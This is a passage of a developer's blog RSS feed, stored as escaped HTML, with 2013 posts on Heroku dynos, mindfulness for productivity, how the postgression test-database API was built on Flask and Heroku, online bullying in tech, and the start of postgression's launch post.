&lt;p>So, I&amp;rsquo;d like to talk about dynos with you (not &lt;em>dinosaurs&lt;/em>, although, I do love
talking about dinosaurs). Ok, maybe I&amp;rsquo;ll talk about dinosaurs a little bit,
but mainly about Heroku dynos: containers that run user-defined processes on
Heroku&amp;rsquo;s cloud platform.&lt;/p>
&lt;p>Dynos are really the &amp;lsquo;core&amp;rsquo; of Heroku&amp;rsquo;s platform. Dynos are what run your web
processes, your one-off tasks, etc. If you&amp;rsquo;re building a Rails website, for
instance, a dyno would run your web process as well as any background tasks
you&amp;rsquo;ve defined with rake: cleaning up user sessions, doing stuff every hour,
whatever. Dynos also run worker processes (stuff like &lt;a href="https://github.com/defunkt/resque" title="resque">resque&lt;/a>, etc.). I&amp;rsquo;m
sure you get the idea.&lt;/p>
&lt;p>So if dynos are just process containers (essentially), why are they cool?
Well, other than the fact that their name reminds me of little dinosaurs (see
picture below), there are a lot of reasons.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/heroku-dynos-in-depth/triceratops-sketch.png" alt="Triceratops Sketch" title="Triceratops Sketch">
&lt;/p>
&lt;ul>
&lt;li>Dynos (like the rest of Heroku&amp;rsquo;s platform) run on top of
&lt;a href="http://aws.amazon.com/" title="Amazon Web Services">Amazon Web Services&lt;/a>, one of the largest cloud providers in the world.&lt;/li>
&lt;li>Dynos come with unlimited bandwidth (this can end up costing you a fortune
with other providers).&lt;/li>
&lt;li>Dynos run in their own isolated execution environment. This means no
shared files, users, etc. Every time a dyno is created it is identical to
the rest.&lt;/li>
&lt;li>Dynos have 512MB of RAM reserved for them, enough to do &lt;em>almost&lt;/em> anything
you need to do. (Looking to render videos and stuff? Best to do that
separately.)&lt;/li>
&lt;li>Dynos can be instantly provisioned or removed, allowing you to easily
&amp;lsquo;scale up&amp;rsquo; your application&amp;rsquo;s infrastructure.&lt;/li>
&lt;li>Dynos are billed by the second, meaning you can easily handle &amp;lsquo;burst&amp;rsquo;
traffic and not pay a fortune to do so.&lt;/li>
&lt;li>You get &lt;strong>750&lt;/strong> hours of dyno time free each month, per Heroku application
(a 30 day month is about 720 hours, for reference). &lt;strong>PER APPLICATION!&lt;/strong>
This means that if you&amp;rsquo;ve got 10 apps running on Heroku, you get 7,500 dyno
hours free, each month!&lt;/li>
&lt;li>If a dyno crashes for some reason (maybe the underlying Amazon server
broke), it will be automatically moved to another server transparently,
ensuring your application stays running (no maintenance needed!).&lt;/li>
&lt;li>Web dynos (any dynos powering your website: Rails, Django, Node, whatever)
have load balancing taken care of out of the box (Heroku&amp;rsquo;s routing mesh
automatically load balances incoming HTTP requests to however many web dynos
you have active).&lt;/li>
&lt;/ul>
&lt;p>Not bad, right? In terms of cost alone, Heroku can cut your hosting bill
significantly in the form of free bandwidth and free dyno hours.&lt;/p>
&lt;p>The real kicker, however, (at least in my opinion) is the automatic load
balancing Heroku provides. Heroku&amp;rsquo;s routing mesh is incredibly awesome:&lt;/p>
&lt;ul>
&lt;li>It randomly distributes incoming HTTP requests to your application across
all available dynos. This means that if you have a single active dyno all
requests will hit it. If you have 10 dynos, each of those 10 will get hit
by incoming requests. This means you can easily scale your application
without worrying about the routing logic.&lt;/li>
&lt;li>It provides you with both HTTP &lt;strong>and&lt;/strong> HTTPS load balancing. Each Heroku
application automatically supports both HTTP and HTTPS out of the box,
meaning you can use SSL easily with the domain name your application is
assigned: &lt;code>appname.herokuapp.com&lt;/code>.&lt;/li>
&lt;li>The routing mesh gives your application 30 seconds to respond to incoming
requests. If it takes longer the request is killed with a 503. This is
GOOD because it forces you to write decent code that takes user experience
into account. NOTE: If a request takes longer than 30 seconds to complete,
while the Heroku routing mesh will return a 503, your application server
will still continue to process the request&amp;ndash;this way, valuable user
information isn&amp;rsquo;t lost.&lt;/li>
&lt;/ul>
&lt;p>And, in case you missed it above, since dynos are automatically maintained by
Heroku&amp;rsquo;s Dyno Manifold, you never have to worry about bad things happening.
Even if your application crashes, an Amazon server crashes, an IT guy trips
over a wire and shuts down 100 of your dynos&amp;ndash;you don&amp;rsquo;t need to worry because
Heroku will automatically spin up all your dynos (instantly) on other Amazon
cloud servers.&lt;/p>
&lt;p>The Heroku Dyno Manifold&amp;rsquo;s restorative powers, paired with the Heroku Routing
Mesh means you get the best of everything: no maintenance web hosting,
automatic load balancing, and happy users.&lt;/p>
&lt;p>As a side note&amp;ndash;if you&amp;rsquo;re at all interested in this stuff, you may enjoy my
book: &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">The Heroku Hacker&amp;rsquo;s Guide&lt;/a>. I&amp;rsquo;m currently working on the second
edition, which I promise you&amp;rsquo;ll love &amp;gt;:)&lt;/p></description></item><item><title>Productivity and Calmness</title><link>https://rdegges.com/2013/productivity-and-calmness/</link><pubDate>Sat, 09 Feb 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/productivity-and-calmness/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/productivity-and-calmness/monk-meditating-sketch.png" alt="Monk Meditating Sketch" title="Monk Meditating Sketch">
&lt;/p>
&lt;p>While there are certainly many productivity hacks available to you, I can think
of none greater than calming yourself.&lt;/p>
&lt;p>I can&amp;rsquo;t tell you how frequently I find myself completely overwhelmed with
things to do, schedules to meet, and customers to keep happy. Each time I find
myself in this situation I always try to take a step back and reflect on the
circumstances. More often than not, when I consciously analyze my situation, I
realize that I&amp;rsquo;m overreacting to pressures.&lt;/p>
&lt;p>I&amp;rsquo;m worrying too much, pushing too hard, and not spending enough time
reflecting on what it is I&amp;rsquo;m doing as a whole.&lt;/p>
&lt;p>The solution to all this, of course, is to take a step back, take a deep
breath, and relax. And I don&amp;rsquo;t mean &lt;em>relax&lt;/em> as in &amp;ldquo;Just &lt;em>relax&lt;/em>, man!&amp;rdquo;. I
mean relax as in &lt;em>literally relax&lt;/em>.&lt;/p>
&lt;p>Close your laptop, turn off your phone, and spend 15 minutes in a quiet room by
yourself. If you don&amp;rsquo;t have this luxury, I&amp;rsquo;d recommend putting on some
headphones and listening to some calm music with your eyes closed.&lt;/p>
&lt;p>Try not to think about &lt;em>anything&lt;/em>. Clear your mind! The easiest way to do
this is to focus on your breathing. Close your eyes, sit still, and take slow,
deep breaths. In your mind, think the following two words to yourself as you
breathe: in and out, in and out.&lt;/p>
&lt;p>If another thought pops into your mind: &amp;ldquo;I don&amp;rsquo;t have time for this! I&amp;rsquo;ve got
to email that customer!&amp;rdquo;, just remember what you&amp;rsquo;re doing, and refocus on
breathing. If you can manage to do this for about 15 minutes, not only will
you feel a lot more relaxed, but more importantly, you&amp;rsquo;ll feel &lt;em>calm&lt;/em>.&lt;/p>
&lt;p>All those stresses yelling in your head will now only be whispering. You&amp;rsquo;ll be
the one in charge again. Instead of being a slave to your tasks, you&amp;rsquo;ll be the
master.&lt;/p>
&lt;p>I find that working in a calm state is far more productive. I think clearer,
feel happier, write better, and build better things. Maybe you will too.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you&amp;rsquo;ve never heard of &lt;a href="http://en.wikipedia.org/wiki/Mindfulness" title="Mindfulness">mindfulness meditation&lt;/a>, what I&amp;rsquo;ve
described above is more-or-less a form of it. You may enjoy &lt;a href="http://www.amazon.com/gp/product/0807012394/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0807012394&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="Mindfulness Meditation">this book&lt;/a> on
the topic (highly recommended).&lt;/p></description></item><item><title>Building postgression (an API Development Story)</title><link>https://rdegges.com/2013/building-postgression-an-api-development-story/</link><pubDate>Tue, 29 Jan 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/building-postgression-an-api-development-story/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/dragon-sketch.png" alt="Dragon Sketch" title="Dragon Sketch">
&lt;/p>
&lt;p>&lt;a href="https://rdegges.com/2013/postgression-a-postgresql-database-for-every-test-case/" title="Postgression - a PostgreSQL Database for Every Test Case">Last week&lt;/a> my friend &lt;a href="https://twitter.com/zaidos" title="Alven on Twitter">Alven&lt;/a> and I launched a new service for developers
using PostgreSQL: &lt;a href="http://www.postgression.com/" title="postgression">postgression&lt;/a>. postgression is a simple web service that
allows you (a programmer) to instantly provision a free PostgreSQL database
that automatically disappears after 30 minutes.&lt;/p>
&lt;p>Why would you use this? Primarily for testing code: running unit tests,
integration tests, etc. It&amp;rsquo;s handy because using postgression means you don&amp;rsquo;t
need to configure (or even run) PostgreSQL server locally just so you can run
some tests.&lt;/p>
&lt;p>Since launch, postgression has gotten some decent usage. To date there have
been:&lt;/p>
&lt;ul>
&lt;li>1,167 total databases created.&lt;/li>
&lt;li>229 unique users.&lt;/li>
&lt;/ul>
&lt;p>While these aren&amp;rsquo;t huge numbers, we&amp;rsquo;re seeing consistent usage, which means
some developers (whoever you are, thanks!) are using the service to run their
unit tests daily.&lt;/p>
&lt;p>I&amp;rsquo;m not going to talk about why we created postgression in this article (if
you&amp;rsquo;re interested, you can read my &lt;a href="http://rdegges.com/postgression-a-postgresql-database-for-every" title="postgression">last article&lt;/a>), but instead, I&amp;rsquo;d like to
talk about how we built postgression.&lt;/p>
&lt;p>Since this was a fun project to build (it&amp;rsquo;s been something I&amp;rsquo;ve wanted to make
for a while now), I figured I&amp;rsquo;d share how we did it, as some of you may
appreciate the technical aspects. From here on out things are going to get
technical :)&lt;/p>
&lt;h2 id="tools">Tools&lt;/h2>
&lt;p>To build postgression Alven and I used &lt;a href="http://flask.pocoo.org/" title="Flask">Flask&lt;/a>, a popular Python web
framework. We ended up using the following Python libraries:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://packages.python.org/Flask-Cache/" title="Flask-Cache">Flask-Cache&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://flask-script.readthedocs.org/en/latest/" title="Flask-Script">Flask-Script&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://packages.python.org/Flask-SQLAlchemy/" title="Flask-SQLAlchemy">Flask-SQLAlchemy&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.gevent.org/" title="gevent">gevent&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://gunicorn.org/" title="gunicorn">gunicorn&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://initd.org/psycopg/" title="psycopg2">psycopg2&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://labix.org/python-dateutil" title="python-dateutil">python-dateutil&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://redis.io/" title="Redis">redis&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://docs.python-requests.org/en/latest/" title="requests">requests&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>To host our project website, we used &lt;a href="http://pages.github.com/" title="GitHub Pages">GitHub pages&lt;/a> (it&amp;rsquo;s just a simple
static site).&lt;/p>
&lt;p>To host our actual API service, as well as power the entire PostgreSQL database
back end functionality, we used &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&lt;/a> (the most awesome hosting platform
ever built).&lt;/p>
&lt;p>To keep track of our usage statistics and metrics, we used &lt;a href="http://ducksboard.com/" title="Ducksboard">ducksboard&lt;/a>, a
really awesome company that gives you a dashboard you can customize to your
liking (it displays stuff like Google Analytics, custom metrics, etc.). Also:
ducksboard was nice enough to give us a free account, as postgression is a free
service. If you&amp;rsquo;re interested in a sexy dashboard for your company (or
personal projects), you should check them out!&lt;/p>
&lt;h2 id="the-backbone-of-it-all-heroku">The Backbone of It All: Heroku&lt;/h2>
&lt;p>As you can probably imagine (after seeing the tools listed above), Heroku is
really the core of postgression, and is what makes the service possible (and
affordable!).&lt;/p>
&lt;p>Heroku is a web application hosting platform, that allows you to easily deploy
your applications (Python, Ruby, Java, Javascript, etc.). We&amp;rsquo;re using Heroku
several ways to make postgression work.&lt;/p>
&lt;ul>
&lt;li>We&amp;rsquo;re using Heroku to run our postgression API
(&lt;a href="http://api.postgression.com" title="postgression API">http://api.postgression.com&lt;/a>). Heroku runs our Flask application that
powers the entire thing. When users make an HTTP request to postgression&amp;rsquo;s
API, it hits Heroku&amp;rsquo;s servers and stuff happens.&lt;/li>
&lt;li>We&amp;rsquo;re using &lt;a href="https://postgres.heroku.com/" title="Heroku PostgreSQL">Heroku PostgreSQL&lt;/a> (the largest hosted PostgreSQL service in
the world, by the way) to instantly provision PostgreSQL databases for our
users.&lt;/li>
&lt;li>We&amp;rsquo;re using &lt;a href="https://api-docs.heroku.com/" title="Heroku API Docs">Heroku&amp;rsquo;s API&lt;/a> to automatically provision and deprovision the
PostgreSQL databases on Heroku.&lt;/li>
&lt;li>We&amp;rsquo;re using the &lt;a href="https://addons.heroku.com/scheduler" title="Heroku Scheduler Add-on">Heroku Scheduler&lt;/a> to run periodic tasks (like cron).
Right now this includes: updating our metrics on our ducksboard dashboard,
deprovisioning databases older than 30 minutes, etc.&lt;/li>
&lt;li>We&amp;rsquo;re using &lt;a href="https://addons.heroku.com/redistogo" title="Redistogo Add-on">Redis To Go&lt;/a> as our Redis host. We use Redis for preventing
abuse of the system by throttling requests based on public IP address.
Each public IP is allowed to provision no more than 100 databases per hour.&lt;/li>
&lt;/ul>
&lt;p>After we wrote the initial code for postgression, deploying the entire thing to
Heroku (including setting up cron, Redis, and PostgreSQL) took only a few
minutes. Big kudos to the Heroku team for rocking so hard.&lt;/p>
&lt;p>And since I know many of you will ask, here&amp;rsquo;s how much it is currently costing
us to run postgression, along with a price breakdown:&lt;/p>
&lt;ul>
&lt;li>1 domain name through &lt;a href="https://dnsimple.com/r/d9a8f0b92dfb78" title="DNSimple">DNSimple&lt;/a> (the best registrar ever) &lt;strong>$14&lt;/strong> /
year.&lt;/li>
&lt;li>1 web dyno to power the postgression API: &lt;strong>$0&lt;/strong> / month.&lt;/li>
&lt;li>1 Heroku basic database for powering our postgression PostgreSQL database
(this is what we use to track our databases states): &lt;strong>$9&lt;/strong> / month.&lt;/li>
&lt;li>1 Redis To Go database: &lt;strong>$0&lt;/strong> / month.&lt;/li>
&lt;li>Heroku Scheduler usage (you pay by the minute for extra computing resources
if you go beyond the free tier): &lt;strong>$0&lt;/strong> / month.&lt;/li>
&lt;li>PostgreSQL backups on AWS powered by Heroku&amp;rsquo;s &lt;a href="https://devcenter.heroku.com/articles/pgbackups" title="PGbackups Add-on">pgbackups&lt;/a> addon: &lt;strong>$0&lt;/strong> /
month.&lt;/li>
&lt;/ul>
&lt;p>Total cost for running this service (per month)? &lt;strong>~11$&lt;/strong>&lt;/p>
&lt;h2 id="flask-and-apis">Flask and APIs&lt;/h2>
&lt;p>As I mentioned earlier, we wrote the code for postgression in python and Flask.
Why did we choose these technologies? A few reasons:&lt;/p>
&lt;ul>
&lt;li>I&amp;rsquo;m extremely familiar with python and Flask.&lt;/li>
&lt;li>Alven had almost no experience with python, so it would be a fun learning
experience for him.&lt;/li>
&lt;li>Flask makes writing small web services extremely simple (there&amp;rsquo;s very little
you have to know to build a functioning service).&lt;/li>
&lt;/ul>
&lt;p>For instance, here&amp;rsquo;s the &amp;lsquo;core&amp;rsquo; of our Flask app. Note how simple this is,
compared to the typically heavy amount of base framework code you&amp;rsquo;ll find other
places.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/postgression-core.png" alt="postgression Core" title="postgression Core">
&lt;/p>
&lt;p>Our view code is equally straightforward, and our models aren&amp;rsquo;t too bad either
:)&lt;/p>
&lt;p>Here&amp;rsquo;s how the API logic works:&lt;/p>
&lt;ol>
&lt;li>A user makes a request to the API (&lt;code>api.postgression.com&lt;/code>).&lt;/li>
&lt;li>We get the user&amp;rsquo;s public IP, and increment their usage count in Redis using
Flask-Cache. If the user has gone above the 100 allowed requests per hour
throttle, we return a HTTP 403 FORBIDDEN code.&lt;/li>
&lt;li>We check (using Heroku&amp;rsquo;s API) to see if we have any Heroku apps currently
provisioned that are not using 100% of their allotted database slots (each
Heroku app allows you to provision a maximum of 30 PostgreSQL databases).&lt;/li>
&lt;li>If there is a Heroku app available, we use Heroku&amp;rsquo;s Addon API
(&lt;a href="https://api-docs.heroku.com/addons" title="Heroku Add-on API">https://api-docs.heroku.com/addons&lt;/a>) to provision a new Heroku
PostgreSQL database.&lt;/li>
&lt;li>If there is no Heroku app available, we create a new Heroku app using the
Heroku App API (&lt;a href="https://api-docs.heroku.com/apps" title="Heroku Apps API">https://api-docs.heroku.com/apps&lt;/a>), then provision a new
Heroku PostgreSQL database inside the newly created app.&lt;/li>
&lt;li>We then check the user&amp;rsquo;s request to see if they want their database
credentials back as a PostgreSQL connection string, or as a JSON dictionary,
and return the credentials appropriately.&lt;/li>
&lt;/ol>
&lt;p>In the background, we have a cron job running every 10 minutes which
de-provisions any Heroku PostgreSQL databases that were created 30 minutes ago
(or more) using Heroku&amp;rsquo;s API.&lt;/p>
&lt;p>Simple, right? When it all comes together, we get the following behavior
(screenshot below).&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/postgression-api.png" alt="postgression API" title="postgression API">
&lt;/p>
&lt;h2 id="database-layout">Database Layout&lt;/h2>
&lt;p>As I mentioned above, postgression uses PostgreSQL itself to keep track of all
the Heroku resources it consumes. This makes it easy for us to keep track of
things like:&lt;/p>
&lt;ul>
&lt;li>Usage statistics.&lt;/li>
&lt;li>How many active Heroku databases we have.&lt;/li>
&lt;li>Which databases need to be de-provisioned (any database more than 30
minutes old).&lt;/li>
&lt;li>How many Heroku applications we currently have (and if they&amp;rsquo;re running at
capacity or not).&lt;/li>
&lt;/ul>
&lt;p>Stuff like that.&lt;/p>
&lt;p>To make all that work, we used Flask-SQLAlchemy to define two simple database
models:&lt;/p>
&lt;ul>
&lt;li>HerokuApp, which keeps track of all our Heroku applications.&lt;/li>
&lt;li>HerokuDB, which keeps track of all our Heroku databases, who created them,
which Herou app they belong to, when they were created, etc.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s how they ended up looking:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/postgression-models.png" alt="postgression Models" title="postgression Models">
&lt;/p>
&lt;h2 id="management-commands-and-monitoring">Management Commands and Monitoring&lt;/h2>
&lt;p>In order to automatically send statistics to our shiny new ducksboard dashboard
(pictured below), we used Flask-Script to write some simple management commands
that are ran automatically by the Heroku Scheduler every 10 minutes.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/postgression-ducksboard.png" alt="postgression Ducksboard" title="postgression Ducksboard">
&lt;/p>
&lt;p>Writing the cron tasks using Flask-Script is really simple, and makes running
automated tasks a breeze. Below are a couple of the tasks (screenshot), which
we can run with the &lt;code>python manage.py blah&lt;/code> command.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2013/building-postgression-an-api-development-story/postgression-script.png" alt="postgression Script" title="postgression Script">
&lt;/p>
&lt;p>Pretty easy, right?&lt;/p>
&lt;h2 id="building-our-website-with-github-pages">Building our Website with GitHub Pages&lt;/h2>
&lt;p>The last thing we did was throw together a simple website using GitHub Pages.
While Alven and I can both throw together a simple website, we figured we&amp;rsquo;d
roll with the simplest option available.&lt;/p>
&lt;p>Essentially what we did was put all our documentation (in Markdown format) into
our project&amp;rsquo;s &lt;code>README.md&lt;/code>. Then, using the &amp;lsquo;Automatic Page Generator&amp;rsquo;
(available under your GitHub repository settings), we imported our &lt;code>README&lt;/code>
file, picked a theme, and published the site.&lt;/p>
&lt;p>After it was published, I made some small tweaks, but nothing too big.&lt;/p>
&lt;p>The end result? We got the public website going
(&lt;a href="http://www.postgression.com/" title="postgression">http://www.postgression.com/&lt;/a>) in about 10 minutes.&lt;/p>
&lt;h2 id="takeaways">Takeaways&lt;/h2>
&lt;p>Building postgression has been really fun. While it&amp;rsquo;s not a complex project by
any means, it&amp;rsquo;s been on my TODO list for a while, and throwing it online has
been an interesting experience.&lt;/p>
&lt;p>Both Alven and I are constantly amazed by:&lt;/p>
&lt;ul>
&lt;li>How cheap it is to build a fully functional web service on Heroku.&lt;/li>
&lt;li>How simple it is to deploy code to Heroku, and make updates.&lt;/li>
&lt;li>How easy it is to build a REST API using Flask.&lt;/li>
&lt;li>How fast you can throw together a decent looking web page on GitHub.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;d also like to give one last shout out to all the Heroku guys (and gals).
They&amp;rsquo;ve built an amazing service, and allowed me to build an entire
Database-Testing-as-a-Service API on top of their platform for almost no cost.&lt;/p>
&lt;p>If you&amp;rsquo;re interested in postgression at all, be sure to give it a go and check
out our website: &lt;a href="http://www.postgression.com/" title="postgression">http://www.postgression.com/&lt;/a>&lt;/p>
&lt;p>If you&amp;rsquo;d like to know more about postgression, feel free to leave a comment or
shoot me an email (&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">r@rdegges.com&lt;/a>).&lt;/p></description></item><item><title>:(</title><link>https://rdegges.com/2013/sad/</link><pubDate>Fri, 25 Jan 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/sad/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/sad/ichigo-hollow-sketch.png" alt="Ichigo Hollow Sketch" title="Ichigo Hollow Sketch">
&lt;/p>
&lt;p>Yesterday I came across &lt;a href="http://harthur.wordpress.com/2013/01/24/771/" title="Heather Arthur's Post">this post&lt;/a>, written by a really great programmer,
and it immediately struck a chord with me. If you haven&amp;rsquo;t read it already,
I&amp;rsquo;ll sum it up for you here.&lt;/p>
&lt;p>&lt;a href="http://harthur.wordpress.com/" title="Heather Arthur">Heather Arthur&lt;/a> published some code to her &lt;a href="https://github.com/harthur" title="Heather Arthur on GitHub">GitHub account&lt;/a>, and was
saddened to discover some &lt;a href="https://twitter.com/steveklabnik" title="Steve Klabnik">really&lt;/a> &lt;a href="https://twitter.com/zeeg" title="David Cramer">popular&lt;/a> &lt;a href="https://twitter.com/coreyhaines" title="Corey Haines">programmers&lt;/a> were
discussing her project on Twitter, with nothing nice to say about it. If you
read her thoughts (&lt;a href="http://harthur.wordpress.com/2013/01/24/771/" title="Heather Arthur's Post">http://harthur.wordpress.com/2013/01/24/771/&lt;/a>),
you&amp;rsquo;ll get a better understanding.&lt;/p>
&lt;p>Shortly after I read her story, I noticed that it ended up getting a lot of
attention on &lt;a href="http://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a> (a news site for tech folk). One of the most
amazing things about Heather&amp;rsquo;s story is that it appears to have really
resonated with a lot of people (not just myself), seeing as how the story
currently has over &lt;strong>1224&lt;/strong> upvotes, and &lt;strong>742&lt;/strong> user comments: enormous
numbers for a Hacker News story. (The Hacker News discussion can be found
here: &lt;a href="http://news.ycombinator.com/item?id=5106767" title="Hacker News Story">http://news.ycombinator.com/item?id=5106767&lt;/a>.)&lt;/p>
&lt;p>While there are certainly a lot of different opinions and feelings floating
around Hacker News about the story, it seems to me that an overwhelming number
of programmers felt similarly: being mean to other people (whether it&amp;rsquo;s via
Twitter or in person) is not acceptable.&lt;/p>
&lt;p>Why did this story garnish so much attention and discussion in the tech
community? I believe it&amp;rsquo;s because we (tech people) have seen so much bullying
and negativity that when someone brings up the topic in a raw way, it really
gets to us.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter who you are: everyone has felt the way Heather has at one
point or another. Whether you were bullied in school, dealt verbal abuse by
friends or partners, or been the target of subtle attacks (online or offline),
everyone can associate with the feeling of being bullied&amp;ndash;and I believe we can
all agree: it doesn&amp;rsquo;t feel good.&lt;/p>
&lt;p>In my line of work (I&amp;rsquo;m a programmer, writer, and entrepreneur), I&amp;rsquo;ve seen so
many unnecessarily nasty comments made to people, so many mean (and
condescending) tweets, and so many harsh words thrown around, that reading
about Heather&amp;rsquo;s experience seems &amp;lsquo;all too common&amp;rsquo;.&lt;/p>
&lt;p>This makes me feel sad.&lt;/p>
&lt;p>It makes me feel sad because the tech community is focused around education and
intelligence. People write programs, share their creations with others, teach,
and generally try to make better technology. Most people in the tech community
are constantly trying to learn new things, write better code, and solve
problems. With so much emphasis on learning and education in the tech
community, the very idea that other people would harshly criticize their peers
(in public) seems almost laughable: but it happens.&lt;/p>
&lt;p>The reason so many people are upset in the tech community, and the reason
opinions and discussion get so heated, is that everyone can associate with
Heather&amp;ndash;but instead of pointing fingers of blame, we should all take a moment
to do some self reflection.&lt;/p>
&lt;p>Nobody is perfect. Everyone says and does things that contradict their
lifelong purpose: it&amp;rsquo;s human nature to make mistakes.&lt;/p>
&lt;p>Is it natural to get angry? Ya.&lt;/p>
&lt;p>Is it natural to say mean things from time to time? Certainly.&lt;/p>
&lt;p>The best we can do (as people) is to accept our faults, and work to better
ourselves. Whether this means apologizing to the people you&amp;rsquo;ve hurt, analyzing
your thoughts and actions, or making an effort to be more positive and helpful
as opposed to negative and hurtful&amp;ndash;if everyone makes an effort to consciously
improve their behavior, this world will be a kinder, nicer place.&lt;/p>
&lt;p>I feel sad today, but tomorrow is a new day. A new chance to get out there,
build awesome things, and help others do the same!&lt;/p>
&lt;p>Be awesome to each other.&lt;/p></description></item><item><title>postgression - A PostgreSQL Database for Every Test Case</title><link>https://rdegges.com/2013/postgression-a-postgresql-database-for-every-test-case/</link><pubDate>Sun, 20 Jan 2013 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/postgression-a-postgresql-database-for-every-test-case/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/postgression-a-postgresql-database-for-every-test-case/monkey-sketch.png" alt="Monkey Sketch" title="Monkey Sketch">
&lt;/p>
&lt;p>The following are some facts about me:&lt;/p>
&lt;ul>
&lt;li>I write a lot of software.&lt;/li>
&lt;li>In order for me to write good software, I often write tests for my
software. Code that makes sure my business logic works on data from my
database. Code that makes sure my web requests return the right thing.
You name it, I&amp;rsquo;ve probably tested it.&lt;/li>
&lt;li>I do 100% of my development on a Linux laptop.&lt;/li>
&lt;li>I usually run my tests on my laptop while I&amp;rsquo;m coding, as well as a remote
&lt;a href="http://jenkins-ci.org/" title="Jenkins CI">Jenkins&lt;/a> server (and sometimes &lt;a href="https://travis-ci.org/" title="Travis CI">Travis CI&lt;/a> instance) that run all my
tests to make sure I didn&amp;rsquo;t forget to do so locally.&lt;/li>
&lt;li>I hate running a database server on my laptop, I hate running a database
server on my Jenkins instance, and I hate telling my test code how to run
tests against my testing databases on all the different types of machines I
use.&lt;/li>
&lt;/ul>
&lt;p>Over the past year or so, I&amp;rsquo;ve become really annoyed at having to configure my
database in all my environments. I love &lt;a href="http://www.postgresql.org/" title="PostgreSQL">PostgreSQL&lt;/a> (it&amp;rsquo;s an &lt;em>awesome&lt;/em>
database), but I can&amp;rsquo;t stand the idea of running it locally on my laptop, just
so I can make some tests work. I also can&amp;rsquo;t stand the annoyance of having to
SSH into my Jenkins server, configure PostgreSQL, and then write code which
tells my tests to distinguish between my local PostgreSQL stuff and my Jenkins
PostgreSQL stuff&amp;ndash;and don&amp;rsquo;t even get me started on configuring it to work in
all 3 environments: locally, on Jenkins, and on Travis. Ugh.&lt;/p>
&lt;p>I think what annoys me about this is that setting up a database isn&amp;rsquo;t hard, I
just think it&amp;rsquo;s stupid to have to remember to do it for each new project. It
feels like I&amp;rsquo;m repeating the same thing over and over again, and each time I do
it, I become slightly more annoyed.&lt;/p>
&lt;p>So this past week, my buddy &lt;a href="http://zaidox.com/" title="Alven Diaz">Alven&lt;/a> and I teamed up to solve this
mini-problem for ourselves. The result is our new service, &lt;a href="http://www.postgression.com/" title="postgression">postgression&lt;/a>.&lt;/p>
&lt;p>postgression is a simple web service, built on top of &lt;a href="http://www.heroku.com/" title="Heroku">Heroku&amp;rsquo;s platform&lt;/a>
(Don&amp;rsquo;t know about Heroku yet? &lt;a href="http://www.theherokuhackersguide.com/" title="The Heroku Hacker's Guide">Read my book.&lt;/a>), that instantly provisions a
new PostgreSQL server (PostgreSQL 9.2.3, to be precise) for you to use in your
tests.&lt;/p>
&lt;p>Here&amp;rsquo;s how it works: you hit our public facing API (no account required), and
we give you back a PostgreSQL database URL that you can use in your
application. For example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> curl &lt;span class="s1">&amp;#39;http://api.postgression.com&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">postgres://username:password@hostname:port/dbname
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Simple, right? So now that you&amp;rsquo;ve got the database, you have your tests run
against this database (which is available in Amazon&amp;rsquo;s US East region, in case
you&amp;rsquo;re curious), and that&amp;rsquo;s it!&lt;/p>
&lt;p>Finally, after 30 minutes, this database will magically disappear.&lt;/p>
&lt;p>So, why is this useful? Well, using postgression to generate a database for
your tests means that:&lt;/p>
&lt;ul>
&lt;li>You can run your tests locally without needing to install PostgreSQL
server.&lt;/li>
&lt;li>You can run your tests locally, remotely (on Jenkins / Travis / etc.) using
all the same configuration&amp;ndash;no need to do any custom scripting or
environment checking.&lt;/li>
&lt;li>It costs you nothing.&lt;/li>
&lt;/ul>
&lt;p>Is this the most useful service in the world? Nope. But I love it, I&amp;rsquo;ve been
using it, and it&amp;rsquo;s made my testing quite a bit simpler.&lt;/p>
&lt;p>Today I&amp;rsquo;m really happy to open postgression up to the public. Alven and I have
created some handy tools on our &lt;a href="https://github.com/postgression" title="postgression">GitHub page&lt;/a>, which make using postgression
easier, and we&amp;rsquo;ve written some basic documentation on the
